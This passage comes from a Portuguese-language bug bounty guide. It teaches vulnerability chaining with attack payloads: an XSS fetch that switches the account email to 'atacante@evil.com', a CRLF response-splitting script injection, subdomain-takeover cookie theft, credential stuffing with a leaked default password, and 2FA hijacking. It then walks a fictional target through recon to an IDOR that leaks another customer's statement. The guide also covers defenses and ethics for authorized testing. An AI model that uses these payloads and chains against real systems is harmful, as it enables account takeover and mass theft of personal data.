            'X-CSRF-Token': document.querySelector('meta[name=csrf]').content}, // pego
o token do DOM
  body: JSON.stringify({email: 'atacante@evil.com'})
});
// depois disparo o "esqueci a senha" pro novo e-mail -> ATO
```

Por que funciona: XSS é, na prática, *executar código como a vítima*. Daí pra ATO é só escolher qual ação valiosa disparar. Note como esse caminho **dispensa o roubo de cookie** — é a resposta pra quem acha que `HttpOnly` sozinho mata XSS. Variações de payload e contexto em XSS; o fluxo de ATO em Account Takeover.

> - **Padrão de impacto que o triador adora:** um XSS sozinho às vezes é *Low*; "XSS no host X **mais** o swap de sessão que rouba o JWT (JSON Web Token — um token de sessão/login assinado, transportado em cookie ou header) ou o cookie" costuma ser o que **destrava** o impacto alto. Sem o vetor de roubo, a story fica fraca.
>
> **Como pontuar (resultado = ATO):** um reflected XSS isolado é ~6.1 (Médio). Encadeado até tomar a conta, você pontua o ATO **com a interação que o XSS exige** (a vítima abre o link/página): **v3.1 9.3 (Crítico)** `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N` · **v4.0 9.3 (Crítico)** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`. Se for **stored** XSS num lugar que a vítima visita no fluxo normal (sem link enviado), dá pra defender `UI:N` / `UI:P` e o score sobe. O Caminho B (XSS executa a ação) tem o mesmo impacto final, mesmo com `HttpOnly` — o cookie não sai, mas a conta cai igual.

Cadeia 4 — IDOR + Information Disclosure → vazamento em massa

Às vezes o IDOR sozinho não fecha porque o identificador **não é adivinhável** (UUID, hash). A peça que falta é um vazamento que te entrega os IDs.

Primitivas: Information Disclosure (vaza identificadores) + IDOR (lê objeto por identificador) → **enumeração em escala**.

O passo a passo:

1. **Acho o IDOR, mas trava no ID.** O endpoint `GET /api/clientes/{uuid}` devolve dados de qualquer cliente — só que `uuid` é um UUID v4, impossível de chutar. IDOR "real", impacto "teórico".
2. **Caço o vazamento de IDs.** Um endpoint de listagem/busca, um JS, uma notificação ou um e-mail expõe os identificadores. Exemplo: uma rota de "busca

pública" devolve, sem precisar de autorização, os UUIDs: ```http GET /api/search?q=a HTTP/2 Host: app.exemplo.com

HTTP/2 200 OK [{"uuid":"4f9c...-a1","nome":"Cliente A"}, {"uuid":"7b2d...-c3","nome":"Cliente B"}, ...] `3. **Ligo os dois.** Coletei centenas de UUIDs (X) → alimento o IDOR (Y), enumerando:` http GET /api/clientes/4f9c...-a1 HTTP/2 # nome, CPF, endereço de quem nunca conheci GET /api/clientes/7b2d...-c3 HTTP/2 # próximo da lista ``` 4. **Demonstro escala.** Com Burp Intruder percorrendo a lista de UUIDs vazados, baixo PII (*Personally Identifiable Information* — dados pessoais que identificam alguém: nome, CPF, e-mail, endereço) de **toda a base**. Saiu de "IDOR com ID inadivinhável" pra **vazamento massivo de dados pessoais** — agora cai em LGPD e severidade crítica.

Pór que funciona: o IDOR sempre teve a primitiva de leitura; faltava o **espaço de busca**. O disclosure preencheu. Como reportar IDOR com impacto e escala está em Broken Access Control.

> **Como pontuar (resultado = vazamento de PII em massa):** um IDOR de leitura isolado já é ~6.5; o que sobe o score é o **escopo cruzar pra outras contas** + a **escala**. Vetor: **v3.1 7.7 (Alto)** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` (o `S:C` reflete dado de *outro* usuário; só confidencialidade, daí `I:N/A:N`) · **v4.0 8.3 (Alto)** `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`. Muitos programas pagam como **Crítico** pela escala + LGPD, mesmo com o vetor em Alto — argumente o **número de registros** e a sensibilidade (CPF), como detalhado em Severidade & Impacto.

Cadeia 5 — CRLF → response splitting → XSS / cache poisoning

CRLF injection sozinho ("consegui injetar um header") costuma ser *Low*. Encadeado, vira XSS sem campo de input — ou pior, **envenena o cache pra todo mundo**.

> **Cache poisoning**: fazer um proxy/CDN **guardar** uma resposta maliciosa e **servi-la a outros usuários** que nem chegaram a tocar no seu payload. Glossário

Primitivas: CRLF (`%0d%0a` injeta na resposta) → controlar headers e/ou o corpo da resposta.

O passo a passo:

1. **Confirmo o CRLF.** Um parâmetro reflete `%0d%0a` (CR LF = fim de linha do HTTP) num header da resposta: `http GET /redir?url=/%0d%0aX-Injetado:teste HTTP/2 # <- a quebra cria um header novo Host: app.exemplo.com` Se `X-Injetado: teste` aparece na resposta, controlo a estrutura dela.
2. **Faço response splitting → XSS.** Injeto duas quebras (`%0d%0a%0d%0a` encerra os headers e abre o **corpo**) e escrevo HTML: `/redir?url=/%0d%0aContent-Type:text/`

`html%0d%0a%0d%0a<script>alert(document.domain)</script>` O navegador renderiza meu HTML como se fosse a página — **XSS sem nenhum campo de input**, vindo de um header.

3. **Escalo pra cache poisoning.** Se um CDN/proxy cacheia essa resposta por uma chave que a vítima também usa, meu HTML malicioso passa a ser **servido a todos** que pedirem a mesma URL — vira XSS persistente em escala, sem precisar enganar ninguém individualmente.

Por que funciona: a primitiva do CRLF é "escrever na resposta". Escrever um header → XSS. Fazer essa resposta ser cacheada → impacto coletivo. Mecânica do `%0d%0a` e de smuggling em CRLF Injection e Request Smuggling.

> Nem todo CRLF vira XSS: browsers e proxies modernos mitigam parte do response splitting. Mas mesmo só "injetar header" pode habilitar outras cadeias (ex.: setar um cookie de sessão controlado → *session fixation*).

Cadeia 6 — Subdomain Takeover → roubo de cookie / phishing no domínio da vítima

Um subdomínio "dangling" parece inofensivo até você perceber o que ele **herda** do domínio-pai: confiança, cookies e credibilidade.

Primitivas: Subdomain Takeover (sirvo conteúdo meu sob `sub.alvo.com`) + cookies/CORS com escopo amplo + a confiança que o usuário tem no domínio.

O passo a passo:

1. **Acho o dangling DNS.** `promo.alvo.com` tem um `CNAME` apontando pra um serviço (S3/Pages/Heroku) que foi **desprovisionado**. Confirmo com `dig` e a fingerprint de "não reclamado" (detalhes em Subdomain Takeover).
2. **Reivindico o recurso.** Crio o bucket/app com aquele nome — agora **eu** sirvo o conteúdo de `promo.alvo.com`. O subdomínio é "meu", mas com a marca e o domínio do alvo.
3. **Encadeio com cookies de escopo amplo.** Se o alvo seta cookies pra `.alvo.com` (domínio-pai), o navegador os envia também pra `promo.alvo.com`. Meu JS lá hospedado **lê e exfiltra** cookies não-`HttpOnly` da sessão da vítima — ou, com CORS mal configurado confiando em `*.alvo.com`, faço requests autenticadas pra API principal.
4. **Ou monto o phishing perfeito.** Hospedo uma página de "re-login" idêntica sob `promo.alvo.com` — **URL legítima, HTTPS válido**. A vítima digita as credenciais sem desconfiar, porque está, de fato, num subdomínio do alvo.

Por que funciona: o takeover dá um *ponto de apoio dentro do perímetro de confiança* do alvo. Cookie amplo + CORS folgado + confiança do usuário transformam "subdomínio

abandonado" em roubo de sessão ou phishing premium. Recon e confirmação em Subdomain Takeover e Broken Link Hijacking.

Cadeia 7 — Senha hardcoded no JS → enumeração de usuários → 2FA do atacante → ATO

Essa cadeia mostra que chaining não é só primitiva web clássica: aqui os elos são um **info disclosure no front-end**, **reuso de credencial** e uma **falha no fluxo de 2FA**. Sozinho, "tem uma senha no JavaScript" rende um Médio morno. Encadeado, vira ATO de contas internas.

Primitivas: senha-padrão fixada no JS (information disclosure) + lista de usuários enumerável + 2FA que pode ser **registrado pela primeira vez** sem provar posse da conta.

O passo a passo:

1. **Acho a senha hardcoded.** No bundle do front (`main.<hash>.js`) existe uma **senha-padrão de reset** embutida — algo como uma constante usada no fluxo de "primeiro acesso". Procuro por padrões como `login.novaSenha` ou strings de senha (`Senha@123`) no JS minificado.

   > Se *source maps* estiverem habilitados, o JS desofuscado expõe ainda mais — vale checar `.js.map`. (Onde segredos vazam no front: Cloud / AWS Misconfiguration e Security Misconfiguration.)

2. **Monto a lista de usuários.** A senha sozinha não serve sem *contra quem* usá-la. Coleto e-mails corporativos do domínio (OSINT de e-mails/funcionários) e derivo os **logins** removendo o `@dominio` — viram uma wordlist de usuários prováveis.
3. **Ligo os dois — credential stuffing com a senha-padrão.** Para cada usuário da lista, tento logar com a senha-padrão vazada. Quem **nunca** trocou a senha de primeiro acesso (sempre tem alguém) entra.
4. **Sequestro o 2FA.** Nas contas onde o login funcionou mas o **2FA ainda não foi configurado**, o app me deixa **cadastrar o segundo fator no meu próprio dispositivo** (TOTP/telefone). A partir daí a conta é minha de ponta a ponta — inclusive contra o dono legítimo. ATO completo.

Por que funciona: cada peça é "pequena" — uma senha exposta, uma lista de e-mails pública, um 2FA que confia em quem chega primeiro. Juntas, contornam autenticação **e** o segundo fator. O detalhe que fecha a cadeia é o **2FA registrável sem prova de posse**: se o app exigisse a senha *atual* (não a padrão) ou verificasse posse antes de enrolar o fator, o último elo cairia. Fluxo de ATO e bypass de 2FA a fundo em Account Takeover.

> **Como pontuar (resultado = ATO de contas internas, sem login prévio):** o atacante é anônimo até logar, então o vetor é de ATO não-autenticado: **v3.1 9.8**

> **(Crítico)** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` (conta o lock-out do dono como `A:H`) · **v4.0 9.3 (Crítico)** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`. Mesmo que "só" funcione em quem não trocou a senha-padrão, o impacto por conta tomada é total.
>
> **Pare no PoC mínimo.** Esta cadeia mira **contas reais de pessoas**. Demonstre com **uma** conta (idealmente de teste/sua, ou com autorização explícita do programa), não enumere a base inteira. Logar em conta alheia sem autorização é crime — veja a Nota ética.

Metodologia: como caçar cadeias de propósito

Chaining não é sorte — é método. Depois do recon, faça isto:

1. **Inventário de primitivas.** Pra cada achado (mesmo os "low" e "info"), anote a **primitiva**, não o nome: "*redirect aberto em* `/go`", "*vaza UUID em* `/search`", "*reflexão de header via CRLF*". Mantenha essa lista do lado.
2. **Mapeie os "sinks" valiosos.** Onde mora o impacto? Fluxo de login/OAuth, troca de e-mail/senha, área de pagamento, endpoints de admin, integrações em nuvem. São os destinos pra onde você quer levar suas primitivas.
3. **Pergunte "e se eu ligar X com Y?"** sistematicamente. Cruze cada primitiva com cada sink: - *Tenho um disclosure de ID?* → tem IDOR esperando esse ID? - *Tenho um redirect?* → tem OAuth/SSO que confia em `redirect_uri`? - *Tenho um SSRF?* → roda em nuvem? alcança metadata/serviços internos? - *Tenho um XSS?* → que ação privilegiada eu disparo da origem da vítima? - *Tenho um self-XSS (só na minha conta)?* → tem login CSRF / um jeito de logar a vítima na minha conta pra transformar em XSS "de verdade"? - *Achei uma senha/chave hardcoded?* → tem como derivar uma lista de usuários (e-mails do domínio) e reusar? o 2FA pode ser cadastrado pela primeira vez sem provar posse?
4. **Construa o caminho mais curto até o impacto mais alto.** Pare quando a história ficar inegável.

> **Ouro escondido:** falhas que sozinhas "não têm impacto" (self-XSS, open redirect, CSRF de login, info disclosure) são **peças premium de cadeia**. Não descarte — guarde no inventário. Muito report rejeitado por "sem impacto" volta como crítico quando ganha um segundo elo.

Como reportar um chain (sem perder o impacto no caminho)

O erro fatal é reportar os elos **separados** — cada um cai como *Low* e você perde o crítico. Reporte a **cadeia como uma narrativa única**, mostrando o caminho completo do início ao impacto final:

1. **Resumo orientado a impacto, primeiro.** "*Encadeando um open redirect com a validação fraca de `redirect_uri` no login social, um atacante assume a conta de qualquer usuário (ATO).*" O triador precisa ver o **crítico** na primeira linha.
2. **Liste os elos como uma cadeia numerada.** Elo 1 (primitiva) → Elo 2 (ponte) → Impacto. Deixe explícito como a **saída de um vira entrada do outro**.
3. **PoC ponta a ponta.** Não pare no `alert(1)` nem no "header injetado". Vá **até** o token roubado / a conta tomada / a PII enumerada. Prints e requests de cada elo. (Formato campeão em Como escrever um report que paga.)
4. **Justifique a severidade pela cadeia, citando CVSS/impacto final** — não pela média dos elos. Argumentação de severidade em Severidade, impacto e triagem.
5. **Antecipe o "downgrade".** Se um elo depender de interação do usuário (clicar num link), diga isso e mostre por que ainda é realista.

Defesa: quebre qualquer elo e a cadeia cai

A boa notícia da defesa: você **não precisa** consertar tudo. Toda cadeia tem o impacto que tem porque **todos** os elos falharam. **Quebre um elo e o crítico não se forma.**

- **OAuth (Cadeia 1):** valide `redirect_uri` por **match exato** (allowlist), nunca por prefixo; use `state`; prefira *authorization code + PKCE* ao *implicit*. **E** elimine open redirects (allowlist de destinos).
- **SSRF/metadata (Cadeia 2): bloqueie `169.254.169.254`** e ranges internos na saída; **force IMDSv2** com *hop limit 1*; aplique **least privilege** na role da instância (mesmo com SSRF, role sem permissão = pouco dano).
- **XSS/ATO (Cadeia 3):** *output encoding* + CSP matam o XSS; cookies `HttpOnly` + `Secure` + `SameSite` e **re-autenticação em ações sensíveis** (pedir senha pra trocar e-mail) quebram o passo final.
- **IDOR+disclosure (Cadeia 4): checagem de dono** por objeto no servidor (mata o IDOR) **e** não vaze identificadores em endpoints sem autorização.
- **CRLF (Cadeia 5): nunca** reflita input em headers; sanitize `\r` / `\n`; configure o cache pra **não cachear** respostas com input refletido.
- **Subdomain Takeover (Cadeia 6):** higiene de DNS (remova `CNAME` ao desprovisionar); cookies com escopo **mínimo** (host-only, não `.alvo.com`); CORS sem curinga em subdomínio.
- **Hardcoded → 2FA (Cadeia 7): nunca** embuta credenciais/senhas-padrão no front-end (nem em source maps); **force a troca** da senha de primeiro acesso; e exija **prova de posse** (senha atual ou link de verificação) antes de **registrar** o primeiro fator de 2FA — não confie em "quem chega primeiro".

Princípio mestre: *defense in depth* existe justamente porque uma camada falha. Cada controle redundante é **um elo a menos** disponível pra quem encadeia.

Ferramentas + labs legais

- **Burp Suite** — Repeater (testar cada elo), Intruder (enumerar na Cadeia 4), Collaborator/OAST (confirmar SSRF na Cadeia 2). Veja Recon & Discovery.
- **Labs autorizados pra praticar cadeias:**
- PortSwigger Web Security Academy — labs de **OAuth**, **SSRF**, **XSS** e **request smuggling** que já são, na prática, mini-cadeias.
- PentesterLab e TryHackMe / HackTheBox — máquinas que exigem encadear pra chegar no objetivo.
- **Estudo de chains reais:** a lista reddelexc/hackerone-reports reúne centenas de reports divulgados — leia os de severidade alta e repare como quase sempre são **cadeias**, não bugs únicos.

Checklist do caçador de cadeias

- [ ] Anotei a **primitiva** de cada achado (até os "info"/"low"), não só o nome da classe.
- [ ] Mapeei os **sinks valiosos** (OAuth, reset de senha, pagamento, admin, nuvem).
- [ ] Cruzei cada primitiva com cada sink perguntando **"e se eu ligar X com Y?"**.
- [ ] Tentei transformar **self-XSS / open redirect / CSRF de login** em peças de cadeia.
- [ ] Em alvo cloud, testei SSRF → **metadata** (respeitando o escopo).
- [ ] Levei a PoC **até o impacto final** (token roubado, conta tomada, PII em massa).
- [ ] Reportei a **cadeia inteira numa narrativa**, com severidade justificada pelo elo final.

Pegadinhas / o que NÃO funciona

- **Reportar os elos separados.** Vira N× *Low* em vez de 1× *Critical*. Junte na história.
- **Parar no `alert(1)` /no header injetado.** Sem o impacto final demonstrado, o triador faz *downgrade*. Vá até o fim.
- **Inventar elo que você não provou.** "Daria pra escalar pra RCE" sem PoC não conta — e queima sua credibilidade. Demonstre cada passo.
- **Achar que IMDSv2 / `HttpOnly` / UUID matam a cadeia sozinhos.** São **um** elo. Bons defensores empilham camadas justamente porque uma cai.

O que você precisa lembrar

- O triador paga pelo **impacto da cadeia**, não pela severidade isolada dos elos.
- Pense em **primitivas** (o que a falha te *dá*), não em nomes de bug. Cadeias nascem ligando primitiva → ponte → impacto.

- A pergunta-motor é **"e se eu ligar X com Y?"** — e os melhores X's costumam ser os achados "sem impacto".

> **Dica de ouro:** antes de descartar um "low", pergunte "*isso é entrada de alguma coisa maior?*". Open redirect, self-XSS, info disclosure e CSRF de login são, sozinhos, migalhas — e, encadeados, são os elos que viram os maiores bounties da sua vida.

Nota ética

Cadeias amplificam impacto — e impacto real causa dano real. Tudo aqui é pra **alvos autorizados**: bug bounty dentro do escopo, pentests contratados e labs legais. Encadear até credenciais de nuvem ou PII em sistemas de terceiros sem autorização é crime e fere pessoas reais. **Pare no PoC mínimo** que prova a cadeia: não baixe a base inteira de PII, não use credenciais cloud pra mais do que listar a permissão, não persista acesso. Demonstre, documente, reporte com responsabilidade.

Referências

- OWASP Top 10 (2021) — as classes que viram elos.
- PortSwigger — OAuth 2.0 authentication vulnerabilities (roubo de token via `redirect_uri`).
- PortSwigger — Server-side request forgery (SSRF).
- AWS — How Instance Metadata Service Version 2 works (IMDSv2) (token, `169.254.169.254`, `iam/security-credentials/`).
- AWS — Defense in depth contra SSRF no IMDS (por que o IMDSv2 nega `PUT` com `X-Forwarded-For` e usa hop limit 1).
- FIRST — CVSS v4.0 Calculator e Specification — pontuar o impacto final da chain (sistema vs. subsequente).
- RFC 9110 §10.2.2 — Location (reanexação do fragmento pelos navegadores no redirect — base da Cadeia 1).
- PortSwigger — Cross-site scripting (XSS) e Web cache poisoning.
- OWASP — CRLF Injection.
- reddelexc/hackerone-reports — reports divulgados pra estudar cadeias reais.

Anatomia de uma Caçada: do Recon ao Report (walkthrough completo)

O capítulo que costura o guia inteiro

Você leu sobre recon, Broken Access Control, business logic, severidade, como escrever o report... e agora tem uma coleção de peças soltas na cabeça. Este capítulo é o **encaixe**. É a história de uma caçada inteira — do primeiro `cat scope.txt` até o "Triaged" chegando no e-mail — narrada como acontece de verdade: com hipóteses, **becos sem saída**, frustração, o momento "*peraí...*" e a hora de transformar tudo num report que paga.

> **Importante:** `app.exemplo.com` é um alvo **fictício**. Os comandos, requests e raciocínios são reais e reproduzíveis; o alvo, os dados e o programa são inventados. Nada aqui aponta pra empresa, domínio ou pessoa real. Esse é o padrão de todo o guia.

O objetivo não é decorar os comandos — é ver o **raciocínio**. Por que parei naquele subdomínio? Por que abandonei aquela pista? O que fez o sino tocar? Bug bounty não é rodar scanner; é **perceber padrões que os outros não percebem**. Vamos lá.

> **Primitiva**: na gíria de segurança, uma "primitiva" é uma capacidade-base que o atacante ganha (ex.: "ler um arquivo", "fazer o servidor mandar uma request", "ler o objeto de outro usuário"). Você encadeia primitivas pra chegar no impacto. Detalhe no Glossário.

Fase 0 — Ler o escopo (a fase que ninguém pula impunemente)

Antes de qualquer ferramenta, eu abro a página do programa e leio **tudo**. Não é burocracia: o escopo decide se o seu achado vai pagar ou virar um "*out of scope, sorry*".

No programa fictício de `app.exemplo.com` (uma fintech), as regras dizem:

```
IN SCOPE:    *.exemplo.com  (todos os subdomínios)
OUT SCOPE:   blog.exemplo.com, status.exemplo.com (terceiros)
PROIBIDO:    automated scanning agressivo, DoS, engenharia social,
             testar com dados de clientes reais
RATE LIMIT:  máx. ~5 req/s por host
PAGA BEM:    IDOR/BOLA, ATO, business logic em fluxo de pagamento
PII:         vazamento de PII é tratado como High/Critical
```

> **PII**: *Personally Identifiable Information* — dado pessoal que identifica alguém (nome, CPF, e-mail, telefone, dados financeiros). Vazar PII costuma ser High/Critical.
>
> **ATO**: *Account Takeover* — tomar conta da conta de outra pessoa (login, sessão ou recuperação de senha quebrados). É um dos achados que mais paga.

Três coisas que eu já anoto na hora:

1. **Wildcard** `*.exemplo.com` → o recon de subdomínios vai render. Quanto mais host, maior meu campo de jogo.
2. **IDOR e business logic em pagamento "pagam bem"** → o programa está me dizendo onde olhar. Vou priorizar fluxos de dado sensível e dinheiro.
3. **Rate limit de ~5 req/s** → preciso segurar a mão nas ferramentas (vou usar `-t` baixo no ffuf e no Intruder), senão tomo block — ou pior, derrubo algo e violo a regra de "no DoS".

> **Escopo (in-scope / out-of-scope)**: a lista do que você **pode** e **não pode** testar num programa. Testar fora dela não paga e pode te expulsar — além de poder ser crime. Glossário.
>
> Existe programa que coloca **IDOR fora de escopo** e outro que paga ótimo nele. Ler isso **antes** evita gastar dias num bug que ninguém vai aceitar. A regra é simples: o escopo manda.

Decisão da Fase 0: já crio **duas contas** — `Conta A` e `Conta B` — porque pra provar IDOR/BOLA eu preciso do objeto de uma e da sessão da outra. Sem duas contas, o resto da caçada vira adivinhação. (O *porquê* disso está detalhado no capítulo 10.)

Fase 1 — Recon: mapeando a superfície

A lição mais cara do recon: **a falha que mais paga raramente está em `app.exemplo.com` (o domínio principal, blindado)** — está no subdomínio esquecido, no endpoint que só vive num arquivo JS. Então a Fase 1 é mapear *tudo*. Cada ferramenta usada aqui está explicada a fundo no capítulo 01 — Recon & Discovery; aqui eu mostro o **fluxo de decisão**.

1.1 — Subdomínios (passivo primeiro)

```
# subfinder = enumerador passivo: pergunta a dezenas de fontes públicas
# (CT logs, agregadores de DNS) SEM tocar no alvo.
subfinder -d exemplo.com -all -silent -o subs.txt
wc -l subs.txt
# 47
```

Quarenta e sete candidatos. Agora **probing**: quais estão vivos? Pra isso o `httpx` (resolve e faz request, devolvendo status, título e tecnologia):

```
# -rl 5 = no máx. 5 requisições por segundo, pra respeitar o rate limit do programa
# (-rl controla req/s; -t controla threads/concorrência — quem segura a TAXA é o -rl)
cat subs.txt | httpx -silent -rl 5 -sc -title -tech-detect -o live.txt
```

A saída interessante (filtrei o ruído):

```
https://app.exemplo.com        [200] [App principal]      [nginx, React]
https://api.exemplo.com        [200] [—]                  [nginx]
https://admin.exemplo.com      [403] [Forbidden]          [nginx]
https://reports.exemplo.com    [200] [Relatórios]         [nginx, React]
https://staging-app.exemplo.com[200] [App (staging)]      [nginx, React]   # <- olá
```

O olho treina pra parar em duas linhas: `staging-app` (ambiente de homologação, costuma ter menos camadas de proteção) e `reports` (relatórios = downloads = dado em massa = onde IDOR adora morar). Anotei as duas.

> **Recon passivo vs. ativo**: passivo coleta de fontes de terceiros (não toca no alvo); ativo manda request direto. Comece sempre pelo passivo — é silencioso e não queima rate limit. Glossário.

1.2 — URLs históricas e arquivos JS (o tesouro)

Aqui mora a regra de ouro: **os arquivos JavaScript são a melhor fonte de informação sobre uma aplicação.** Eles carregam os paths da API, nomes de parâmetros e rotas de admin que não aparecem clicando pela tela.

```
# gau coleta URLs históricas (Wayback, etc.); filtro só os .js vivos
echo "app.exemplo.com" | gau | grep '\.js$' | httpx -silent -mc 200 -ct | grep
javascript
```

```
https://app.exemplo.com/static/js/main.4f9c.js      [200] [application/javascript]
https://app.exemplo.com/static/js/billing.2a1b.js   [200] [application/javascript]
```

Baixei `billing.2a1b.js` e li **linha por linha** — não só joguei num extrator de paths. Essa é a diferença entre achar o que todo mundo acha e achar o que ninguém viu. Lá dentro:

```
// trecho (desofuscado) de billing.2a1b.js
const API = "https://api.exemplo.com";
const getStatement   = (id)  => fetch(`${API}/v1/billing/statement?ref=${id}`);
const downloadReport = (rid) => fetch(`${API}/v1/reports/download`, {
  method: "POST", body: JSON.stringify({ reportId: rid })
});
```

```
const ADMIN_BLOCK = `${API}/v1/admin/accounts/block`; // <- rota de admin no JS do cliente!
```

Três achados num único arquivo:

- `GET /v1/billing/statement?ref=<id>` → pega um extrato por um identificador. **Cheira a IDOR.**
- `POST /v1/reports/download` com `{reportId}` no corpo → o clássico padrão de **download de relatório por ID** (campeão de token-swap; ver capítulo 10).
- `/v1/admin/accounts/block` → uma rota de **admin** referenciada no JS que o cliente comum baixa. Candidata a **BFLA** (executar função de admin com perfil comum).

> **Endpoint / rota**: um endereço específico que a aplicação atende (ex.: `/v1/billing/statement`). Mapear endpoints = mapear onde dá pra interagir com o sistema. Glossário.

1.3 — Logo de cara, autenticado

Logo no começo eu **logo na aplicação** com a Conta A e configuro o Burp como proxy. Por quê? Porque navegar autenticado já descarta as falhas que só existem no fluxo não-logado e me mostra a API "de verdade" — com tokens válidos, parâmetros reais e os fluxos que importam (pagamento, perfil, relatórios). O Burp vai gravando tudo no **HTTP history**, que vira meu mapa real de endpoints.

Decisão da Fase 1: tenho um mapa. Candidatos quentes: o `?ref=` do extrato, o `POST /reports/download`, e a rota `/admin/accounts/block`. Hora de escolher por onde começar.

Fase 2 — Escolher a superfície (e por quê)

Tenho três pistas. Não dá pra atacar tudo de uma vez com cabeça — eu **priorizo** com base no que o escopo disse que paga e no esforço pra confirmar:

Candidato	Padrão suspeito	Impacto se confirmar	Esforço
`GET /billing/statement?ref=`	IDOR por ID na URL	Vazamento de PII/financeiro	Baixo
`POST /reports/download {reportId}`	BOLA/token-swap	PII em massa (relatórios)	Médio
`POST /admin/accounts/block`	BFLA	Ação crítica (bloquear conta)	Médio

Começo pelo `?ref=`: é o de **menor esforço pra confirmar** (um GET, troco um número no Repeater — a aba do Burp pra editar e reenviar uma request manualmente, quantas vezes quiser) e o escopo grita "IDOR paga bem". Regra de caçador: vá primeiro no que confirma rápido. Se der certo, ótimo; se der errado, aprendi o comportamento da API e sigo pro próximo.

> **IDOR vs. BOLA vs. BFLA**: IDOR/BOLA = acesso indevido a um **objeto** de outro (o extrato dele); BFLA = acesso indevido a uma **função** de outro perfil (a ação de admin). Tudo é Broken Access Control. Aprofundado no capítulo 10.

Fase 3 — A caçada (com os becos sem saída)

Aqui é onde os tutoriais mentem: eles mostram só o caminho que deu certo. A realidade tem **becos sem saída** — e é justamente apanhar neles que ensina o comportamento do alvo. Vou narrar honesto.

Beco sem saída #1 — o `?ref=` que parecia óbvio

Logado como **Conta A**, abro um extrato. O Burp registra:

```
GET /v1/billing/statement?ref=88213 HTTP/2
Host: api.exemplo.com
Authorization: Bearer <token_Conta_A>
```

No Repeater, troco `88213` por `88212` (decrementar é o teste mais rápido de ID sequencial):

```
GET /v1/billing/statement?ref=88212 HTTP/2
Host: api.exemplo.com
Authorization: Bearer <token_Conta_A>   # <- mesma Conta A, ID de outro
```

Resposta:

```
HTTP/2 403 Forbidden
{"error":"forbidden","message":"You do not own this resource"}
```

`403`. **Aqui a aplicação faz a checagem de dono certa.** Tentei `88214`, `1`, `99999`: todos `403` ou `404`. Beco sem saída — *neste* endpoint.

Mas atenção ao detalhe: o servidor respondeu **"You do not own this resource"**. Isso me diz que existe uma noção de "dono" amarrada ao recurso. Guardei a frase. Não saí do alvo com raiva; saí com **informação**.

> Lição transferível: um `403` não é o fim, é um **dado**. Ele me ensinou que *este* caminho valida dono. A pergunta vira: *existe um caminho que esquece de validar?*

Beco sem saída #2 — o token-swap no download

Vou pro segundo candidato, o `POST /v1/reports/download`. Padrão clássico de **troca de token** (capítulo 10): a `Conta A` tem acesso ao relatório, a `Conta B` não. Disparo com a A e, no Burp, troco só o `Authorization` pelo da B:

```
POST /v1/reports/download HTTP/2
Host: api.exemplo.com
Authorization: Bearer <token_Conta_B>   # <- troquei (era da Conta A)
Content-Type: application/json

{"reportId": 4471}
```

```
HTTP/2 403 Forbidden
{"error":"plan_required","message":"Reports require Business plan"}
```

`403` de novo — mas por um motivo diferente: a Conta B é de plano grátis e relatório é feature paga. A autorização de **função** está sendo checada. Outro beco. (Anotei: "*e se a Conta B virar plano Business sem pagar? business logic...*" — guardei pra depois, é uma pista de capítulo 20.)

Dois `403` seguidos. É o ponto onde o iniciante fecha o Burp. O caçador faz outra pergunta.

O momento "aha" — voltar pro `?ref=` com outros olhos

Reli meu HTTP history procurando **todo lugar onde um `ref` / `statement` aparece**. E achei uma request que tinha passado batido: ao abrir o extrato, o front faz **duas** chamadas. A primeira eu já conhecia. A segunda era pra **gerar o PDF da nota**:

```
POST /v1/billing/statement/export HTTP/2
Host: api.exemplo.com
Authorization: Bearer <token_Conta_A>
Content-Type: application/json

{"ref":"88213","format":"pdf"}
```

E a **resposta** dessa chamada trazia algo curioso:

```
HTTP/2 200 OK
{"downloadToken":"eyJyZWYiOiI4ODIxMyIsImV4cCI6...","url":"/files/8f3c1a.pdf"}
```

A API me devolveu um `downloadToken` — um valor opaco/assinado que codifica o `ref`. O `/billing/statement?ref=` valida dono... mas será que o **endpoint que consome esse token** revalida? Ou ele confia cegamente no que está dentro do token (que a *própria API* gerou)?

Isso me lembrou de um padrão real famoso: uma API que, na resposta, **te devolve o seu próprio parâmetro já "protegido"**, e aí você reaproveita esse valor protegido em outra

request. Você não quebra a criptografia — você só **reusa o que o servidor te deu**. (Variação avançada de IDOR; ver "IDs protegidos" no capítulo 10.)

O `downloadToken` é **Base64URL** (alfabeto com `-` / `_` e, em geral, sem o `=` de padding). Decodifiquei só pra **entender** o formato (não pra forjar nada) — por isso normalizo o alfabeto com `tr` antes do `base64 -d`, senão o GNU `base64` reclama de "invalid input":

```
# tr '_-' '/+' converte Base64URL → Base64 padrão. Sem o '=' de padding, o GNU base64
# decodifica o trecho válido mas grita "invalid input" no stderr; 2>/dev/null silencia
isso.
echo 'eyJyZWYiOiI4ODIxMyIsImV4cCI6...' | tr '_-' '/+' | base64 -d 2>/dev/null
# {"ref":"88213","exp":...}
```

Ele carrega o `ref` lá dentro. Hipótese cristalizada: **se eu pedir o `export` com o `ref` de outra conta, talvez o servidor me devolva um `downloadToken` válido pra aquele `ref`** — e o endpoint de download não revalide o dono, porque "o token foi a própria API que assinou".

Confirmando o "aha"

Pedi o `export` com um `ref` que **não é meu** (ainda como Conta A):

```
POST /v1/billing/statement/export HTTP/2
Host: api.exemplo.com
Authorization: Bearer <token_Conta_A>
Content-Type: application/json

{"ref":"88212","format":"pdf"}   # <- ref de OUTRO cliente
```

```
HTTP/2 200 OK
{"downloadToken":"eyJyZWYiOiI4ODIxMiIsImV4cCI6...","url":"/files/2b7e90.pdf"}
```

200. O endpoint de `export` **não checa dono** — só o `GET /statement?ref=` checava. A API acabou de me assinar um token pro extrato de outra pessoa. Agora baixo o PDF:

```
GET /files/2b7e90.pdf HTTP/2
Host: api.exemplo.com
Authorization: Bearer <token_Conta_A>
```

```
HTTP/2 200 OK
Content-Type: application/pdf
Content-Length: 184213
%PDF-1.7 ... (extrato com nome, CPF mascarado e valores de OUTRO cliente)
```

